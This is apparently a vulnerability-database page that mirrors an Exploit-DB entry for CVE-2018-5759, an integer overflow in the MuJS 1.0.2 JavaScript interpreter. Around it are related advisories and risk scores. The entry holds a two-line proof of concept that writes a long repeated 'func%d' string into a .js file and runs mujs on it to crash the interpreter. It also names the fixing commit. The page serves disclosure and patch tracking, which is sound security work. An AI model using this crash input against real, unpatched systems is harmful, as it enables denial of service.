Lucene search
K

Artifex MuJS 1.0.2 - Integer Overflow

🗓️ 28 Jan 2018 00:00:00Reported by Andrea SindoniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

DoS caused by interactive call between two functions in Artifex MuJS 1.0.2 - Integer Overflow, fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Artifex MuJS 1.0.2 - Integer Overflow Exploit
28 Jan 201800:00
zdt
CNVD
Artifex MuJS Denial of Service Vulnerability
25 Jan 201800:00
cnvd
CVE
CVE-2018-5759
24 Jan 201821:00
cve
Cvelist
CVE-2018-5759
24 Jan 201821:00
cvelist
Debian CVE
CVE-2018-5759
24 Jan 201821:00
debiancve
EUVD
EUVD-2018-17528
7 Oct 202500:30
euvd
exploitpack
Artifex MuJS 1.0.2 - Integer Overflow
28 Jan 201800:00
exploitpack
Fedora
[SECURITY] Fedora 26 Update: mujs-0-11.20180129git25821e6.fc26
14 Feb 201817:11
fedora
Fedora
[SECURITY] Fedora 27 Update: mujs-0-11.20180129git25821e6.fc27
14 Feb 201817:33
fedora
Tenable Nessus
Fedora 27 : mujs (2018-5b2e981f14)
15 Feb 201800:00
nessus
Rows per page
# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=4d45a96e57fbabf00a7378b337d0ddcace6f38c1
)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2018 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 24.3
CVSS 35.5
EPSS0.03779
40